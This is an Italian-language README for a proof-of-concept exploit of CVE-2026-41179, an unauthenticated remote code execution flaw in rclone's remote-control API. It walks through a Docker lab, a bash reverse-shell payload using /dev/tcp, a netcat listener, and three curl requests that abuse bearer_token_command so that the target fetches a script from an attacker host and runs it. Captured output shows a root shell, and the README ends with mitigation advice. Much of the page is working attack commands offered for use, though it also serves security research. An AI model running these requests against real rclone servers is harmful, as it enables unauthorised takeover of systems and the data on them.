
POC per CVE-2026-41179
⚠️ SOLO A SCOPO EDUCATIVO Questo repository è destinato esclusivamente alla ricerca sulla sicurezza, all'istruzione e agli ambienti di laboratorio autorizzati. PSSec e i collaboratori di questo repository non approvano, supportano né si assumono alcuna responsabilità per qualsiasi uso non autorizzato, illegale o dannoso delle informazioni, del codice o delle tecniche qui contenuti. Utilizzando questo repository accetti di essere l'unico responsabile delle tue azioni e di testare esclusivamente sistemi di tua proprietà o per i quali hai esplicito permesso scritto.
CVE-2026-41179 è una vulnerabilità critica di Remote Code Execution (RCE) non autenticata nell'API di Remote Control (RC) integrata di rclone, che interessa le versioni dalla 1.48.0 alla 1.73.4.
| Dettaglio | Valore |
|---|---|
| CVE | CVE-2026-41179 |
| Punteggio CVSS | 9.8 (Critico) |
| Versioni interessate | rclone 1.48.0 – 1.73.4 |
| Versione con patch | rclone 1.73.5 |
| Componente | RC API (endpoint /operations/fsinfo) |
| Vettore d'attacco | Rete — nessuna autenticazione richiesta |
rclone include un'interfaccia HTTP integrata per il controllo remoto (rcd). L'endpoint /operations/fsinfo accetta una stringa fs= fornita dall'utente che viene analizzata e utilizzata per istanziare un backend, incluso il backend WebDAV. Il backend WebDAV supporta un parametro bearer_token_command, che viene passato direttamente a exec.Command() senza sanificazione. Poiché su questo endpoint non è richiesta alcuna autenticazione per impostazione predefinita, un attaccante non autenticato può attivare l'esecuzione arbitraria di comandi del sistema operativo con l'utente del processo rclone.
Catena d'attacco in breve:
POST /operations/fsinfo (no auth)
→ rc.GetFs() parses attacker-controlled fs= string
→ WebDAV backend instantiated with attacker params
→ bearer_token_command extracted
→ exec.Command() fires OS command
→ RCE as rclone process user
CVE-2026-41179/
├── Dockerfile.rclone # Vulnerable rclone image (v1.69.3)
├── patched.Dockerfile.rclone # Patched rclone image (v1.73.5)
├── poc.sh # Reverse shell payload
└── instructions # Step-by-step lab walkthrough
netcatdocker build -t rclone-vuln -f Dockerfile.rclone .
Crea un container Debian-slim che esegue rclone v1.69.3 con l'API RC esposta sulla porta 5572.
docker run -d --name rclone-vuln -p 5572:5572 rclone-vuln
L'API RC è ora accessibile senza autenticazione su http://127.0.0.1:5572.
penelope -p 5555
# OR
nc -lvnp 5555
Modifica poc.sh e imposta l'IP dell'attaccante e la porta in ascolto:
#!/bin/bash
bash -i >& /dev/tcp/<attacker-ip>/<listening-port> 0>&1
Esegui questo dalla stessa directory di poc.sh:
python3 -m http.server 8888
curl -sS -X POST http://127.0.0.1:5572/operations/fsinfo \
--data-urlencode "fs=:webdav,url='http://127.0.0.1/',vendor=other,bearer_token_command='/usr/bin/curl -o /tmp/shell.sh http://<attacker-ip>:8888/poc.sh':'
curl -sS -X POST http://127.0.0.1:5572/operations/fsinfo \
--data-urlencode "fs=:webdav,url='http://127.0.0.1/',vendor=other,bearer_token_command='/bin/chmod +x /tmp/shell.sh':'
curl -sS -X POST http://127.0.0.1:5572/operations/fsinfo \
--data-urlencode "fs=:webdav,url='http://127.0.0.1/',vendor=other,bearer_token_command='/tmp/shell.sh':'
Controlla il tuo listener — dovresti ricevere una shell di root dal container:
[+] Got reverse shell from f7697b831050~172.17.0.3-Linux-x86_64
[+] Shell upgraded successfully using /usr/bin/script!
whoami
root
Ripeti i passaggi 1–8 utilizzando l'immagine con patch per confermare che la vulnerabilità sia stata risolta:
docker build -t rclone-patched -f patched.Dockerfile.rclone .
docker run -d --name rclone-patched -p 5573:5572 rclone-patched
Invia la stessa richiesta curl sulla porta 5573 — il comando non dovrebbe essere eseguito.
rcd con i flag --rc-user e --rc-pass per richiedere le credenziali.5572) tramite regole del firewall — non dovrebbe mai essere esposta a reti non attendibili.--rc-no-auth=false (il nuovo valore predefinito nelle versioni con patch) negli script di avvio.Questo repository è fornito solo a scopo educativo e di ricerca sulla sicurezza autorizzata. Il codice proof-of-concept dimostra una vulnerabilità reale in un ambiente di laboratorio Docker controllato.
PSSec e tutti i collaboratori:
L'uso non autorizzato di questo codice contro sistemi di produzione o sistemi che non possiedi potrebbe violare le leggi sulla frode informatica e sui crimini informatici della tua giurisdizione.
CVE-2026-41179 — Ricerca di PSSec